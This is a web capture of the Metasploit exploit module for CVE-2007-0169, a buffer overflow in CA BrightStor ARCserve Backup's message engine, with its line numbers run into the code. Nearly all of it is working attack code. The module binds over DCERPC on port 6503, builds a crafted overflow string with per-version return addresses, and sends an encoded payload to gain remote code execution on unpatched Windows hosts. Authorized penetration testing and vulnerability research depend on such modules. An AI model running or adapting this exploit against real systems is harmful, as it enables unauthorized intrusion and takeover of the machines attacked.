Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/message_engine.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup1511.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow16the buffer and execute arbitrary code.17},18'Author' => [ 'MC', 'aushack' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2007-0169' ],23[ 'OSVDB', '31318' ],24[ 'BID', '22005' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 600,34'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/200441[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],42[ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ],43],44'DisclosureDate' => '2007-01-11',45'DefaultTarget' => 1))4647register_options(48[49Opt::RPORT(6503)50])51end5253def exploit54connect5556handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])57print_status("Binding to #{handle} ...")5859dcerpc_bind(handle)60print_status("Bound to #{handle} ...")6162filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')6364sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)6566print_status("Trying target #{target.name}...")6768begin69dcerpc_call(47, sploit)70rescue Rex::Proto::DCERPC::Exceptions::NoResponse71end7273handler74disconnect75end76end777879